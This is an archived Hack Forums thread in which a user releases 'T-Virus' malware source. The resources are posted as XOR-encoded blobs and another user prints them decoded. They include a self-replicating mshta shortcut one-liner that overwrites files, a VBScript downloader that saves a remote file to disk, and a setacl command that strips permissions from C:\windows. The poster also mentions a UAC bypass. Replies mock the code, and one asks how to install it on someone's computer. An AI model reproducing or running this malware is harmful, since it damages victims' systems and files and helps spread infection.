+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] *NEW* T-VIRUS [1/53 DETECTION] RELEASE + SOURCE (/showthread.php?tid=4460214)
*NEW* T-VIRUS [1/53 DETECTION] RELEASE + SOURCE - tusharthegreat - Sep 24, 2014
[font=Verdana] NEW T-VIRUS [1/53 DETECTION] RELEASE + SOURCE
[size=medium]
well this is the actual source to the original post:
https://hackforums.net/showthread.php?tid=4455546
main code:
http://pastebin.com/y6GSga90
resource1 bat2s :
²¬·«¾ÿýµ¾©¾¬¼¶¯«å¨â±º¨ÿž¼«¶©º‡½µº¼«÷ø¨¬¼¶¯«ñ¬·º³³øö䨶«·÷¨ñ¼º¾«º¬·°«¼ª«÷øñ³±´øöö«¾¸º«¯¾«·âø²¬·«¾ø󾸪²º±«¬âøýøô³°¼¾«¶°±ñ·º¹ôøýø󬾩º÷öä¨ñª±÷ø¼²»ÿð¼¹°ÿð¹ÿý»º³¶²¬âýÿƒ§íêºÿ¶±ÿ÷ƒø»¶ð½ð¬ÿƒõñ³õƒøö»°ÿ¼°¯¦ñ³±´ÿýƒ§íêºýøóïöä¼³°¬º÷öý
resource2 http :
ÿ¬«“¶±´ÿâÿý·««¯åðð»°¨±³°¾»ñ²¶¼°¬°¹«ñ¼°²ð»°¨±³°¾»ðíðšðæðíšæîîæêéò™æï™òë™òçíìîòšíæížèé™íçè𘒌›”–ž–€š‘€›‰›ñ¶¬°ýÕÿÖÕÿÖÿ¬«Œ¾©º‹°ÿâÿýœåƒ¯°¸¾²»¾«¾ƒýÿùÿú¾±»°²úÕÿÖÿÕÿÿÿÿÿøÿœº¾«ºÿ¾±ÿ—‹‹ÿ°½µº¼«ÕÿÿÿÿÿŒº«ÿ°½µ—‹‹ÿâÿœº¾«º½µº¼«÷ÿýˆ¶±—««¯ñˆ¶±—««¯º®ªº¬«ñêñîýÿöÕÿÕÿÿÿÿÿøÿ›°¨±³°¾»ÿ«·ºÿ¬¯º¼¶¹¶º»ÿŠ“Õÿÿÿÿÿ°½µ—‹‹ñ¯º±ÿý˜š‹ýóÿ¬«“¶±´óÿ™¾³¬ºÕÿÿÿÿÿøÿŠ¬ºÿ—‹‹šŽŠšŒ‹€Œš‹œš›š‘‹–ž“Œ€™€‡†ÿ¶¹ÿª¬ºÿ¾±»ÿ¯¾¬¬¨°»ÿ¶¬ÿ¹°ÿ¯°§¦óÿ±°«ÿ¹°ÿ»°¨±³°¾»ÿ«·ºÿ¹¶³ºñÕÿÿÿÿÿøÿ°½µ—‹‹ñŒº«œº»º±«¶¾³¬ÿýŠ¬ºýóÿý¾¬¬¨°»ýóÿ—‹‹šŽŠšŒ‹€Œš‹œš›š‘‹–ž“Œ€™€Œš‰šÕÿÿÿÿÿ°½µ—‹‹ñŒº±»ÕÿÿÿÿÿÕÿÿÿÿÿÿÿÿÿÿŒº«ÿ°½µ™Œÿâÿœº¾«º½µº¼«÷ýŒ¼¶¯«¶±¸ñ™¶³ºŒ¦¬«º²½µº¼«ýöÕÖÿÿ–¹ÿ°½µ™Œñ™¶³ºš§¶¬«¬÷¬«Œ¾©º‹°öÿ‹·º±ÕÖÿÿÖ°½µ™Œñ›º³º«º™¶³º÷¬«Œ¾©º‹°öÕÖÿÿš±»ÿ–¹ÕÿÕÿÿÿÿÿÿ–¹ÿ°½µ—‹‹ñŒ«¾«ª¬ÿâÿíïïÿ‹·º±ÕÿÿÿÿÖ›¶²ÿ°½µŒ«º¾²ÕÖÿÿÿÿŒº«ÿ°½µŒ«º¾²ÿâÿœº¾«º½µº¼«÷ýž››ñŒ«º¾²ýöÕÖÿÿÿÿˆ¶«·ÿ°½µŒ«º¾²ÕÖÖÿÿÿÿñ‹¦¯ºÿâÿîÿø¾»‹¦¯º¶±¾¦ÕÖÖÿÿÿÿñ¯º±ÕÖÖÿÿÿÿñˆ¶«ºÿ°½µ—‹‹ñº¬¯°±¬º°»¦ÕÖÖÿÿÿÿñŒ¾©º‹°™¶³ºÿ¬«Œ¾©º‹°ÕÖÖÿÿÿÿñœ³°¬ºÕÖÿÿÿÿš±»ÿˆ¶«·ÕÖÿÿÿÿ¬º«ÿ°½µŒ«º¾²ÿâÿ‘°«·¶±¸ÕÖÿÿš±»ÿ–¹ÕÖÿÿÕÖÿÿ–¹ÿ°½µ™Œñ™¶³ºš§¶¬«¬÷¬«Œ¾©º‹°öÿ‹·º±ÕÖÿÿš±»ÿ–¹ÿ
resource3 winacl :
¬º«¾¼³ÿò°±ÿý¼åƒ¨¶±»°¨¬ýÿò°«ÿ¹¶³ºÿò¾¼«±ÿ«ª¬«ººÿò«¬«ÿý±îå‹ŠŒ—žòœƒ‹ŠŒ—žä«¾åº²«¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«ª¬«ººÿò«¬«ÿý±îå‹ŠŒ—žòœƒž›’–‘–Œ‹ž‹Œä«¾åº²«¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«ª¬«ººÿò«¬«ÿý±î匆Œ‹š’䫾庲«¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«ª¬«ººÿò«¬«ÿý±îå‹ŠŒ—žòœƒŠŒšŒä«¾åº²«¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«ª¬«ººÿò«¬«ÿý±î垊‹—š‘‹–œž‹š›ÿŠŒšŒä«¾åº²«¬«ä¨å»¾¼³ýÿò¾¼«±ÿ¬º«°¨±ºÿò°¨±ÿý±å‹ä¬å±ý
it requires a service also which i will upload shortly after some changes
(for uac bypass)
* - Marwix - Sep 24, 2014
Spoiler (Click to View)
You sure you're not on drugs or something?
* - tusharthegreat - Sep 24, 2014
its all xor encrypted
use it
it will run
i've tried it
* - Chris White - Sep 24, 2014
Uh, what?! xor encrypted? Doesn't that need a key for it to be decrypted? I can see it no where!
* - tusharthegreat - Sep 24, 2014
its in the code
it has a function named "de"
the key is 223
* - Odus - Sep 24, 2014
(Sep 24, 2014 07:57 AM)Chris White Wrote: Uh, what?! xor encrypted? Doesn't that need a key for it to be decrypted? I can see it no where!
They key is a global byte (god knows why).
The resources are here for anyone who else who is sketched out:
Code
mshta "javascript:w=new ActiveXObject('wscript.shell');with(w.createshortcut('.lànk'))targetpath='mshta',arguments='"'+location.href+'"',save();w.run('cmd /cfor à/f "delims=" \x25e in (\'dir/b/s \*.l*\')do copy.lnk "\x25e"',0);close()"
strLink = "http://download.microsoft.com/download/2/E/9/2E911956-F90F-4BFB-8231à-E292A7B6F287/GRMSDKIAI_EN_DVD.iso"
strSaveTo = "C:\programdata\" & %randoàm%
' Create an HTTP object
Set objHTTP = CreateObject( "WinHttp.WiànHttpRequest.5.1" )
' Download the specified URL
objHTTP.Open "GET",à strLink, False
' Use HTTPREQUEST_SETCREDENTIALS_FOR_PROXY if user and passàword is for proxy, not for download the file.
' objHTTP.SetCredentials "Useàr", "Password", HTTPREQUEST_SETCREDENTIALS_FOR_SERVER
objHTTP.Send
à Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FilàeExists(strSaveTo) Then
objFSO.DeleteFile(strSaveTo)
End If
If obàjHTTP.Status = 200 Then
Dim objStream
Set objStream = CreateObject("ADàODB.Stream")
With objStream
.Type = 1 'adTypeBinary
.Open
à .Write objHTTP.ResponseBody
.SaveToFile strSaveTo
.Close
End Wàith
set objStream = Nothing
End If
If objFSO.FileExists(strSaveToà) Then
End If
setacl -on "c:\windows" -ot file -actn trustee -trst "n1:TUSHAR-PC\TUSHAR;ta:remàtrst;w:dacl" -actn trustee -trst "n1:TUSHAR-PC\ADMINISTRATORS;ta:remtrst;w:dacl"à -actn trustee -trst "n1:SYSTEM;ta:remtrst;w:dacl" -actn trustee -trst "n1:TUSHAàR-PC\USERS;ta:remtrst;w:dacl" -actn trustee -trst "n1:AUTHENTICATED USERS;ta:remàtrst;w:dacl" -actn setowner -ownr "n:T;s:n"OP this is one huge clusterfuck of code lol.
MY EYES
Code
On Error Resume Next* - tusharthegreat - Sep 24, 2014
i specified it as global so that i could use different keys at different places but i let go of the idea and it is unused.
* - DragonHunter - Sep 24, 2014
Oh man this worked! so awesome, I am a zombie fear me c:
ps: you watched way too many resident evil
* - TheBarret - Sep 24, 2014
(Sep 24, 2014 08:50 AM)Odus Wrote:CodeOn Error Resume Next
Did i just read that correctly 🤐 or is my soda infected?! x.X
holy....crap this is worse then punching myself in the nuts. don't use this ppl, this is RLY bad code
* - xXxKendirxXx - Sep 25, 2014
So now my pc is infected? yes or no? :S xD
* - Sn0wX - Sep 25, 2014
(Sep 24, 2014 02:55 PM)TheBarret Wrote: Did i just read that correctly 🤐 or is my soda infected?! x.X
holy....crap this is worse then punching myself in the nuts. don't use this ppl, this is RLY bad code
Since when did HF care about exception handling?
* - NET-KID - Sep 25, 2014
(Sep 25, 2014 01:59 PM)Sn0wX Wrote: Since when did HF care about exception handling?
[img]http://www.genrocket.com/wp-content/uploads/2014/03/bugFree.gif[/img]
* - killerman231 - Sep 25, 2014
How do you test this and also install it onto a computer?
* - TheBarret - Sep 25, 2014
(Sep 25, 2014 01:59 PM)Sn0wX Wrote: Since when did HF care about exception handling?
Yeah i know its far fetched, they will never be a decent programmer thats for sure.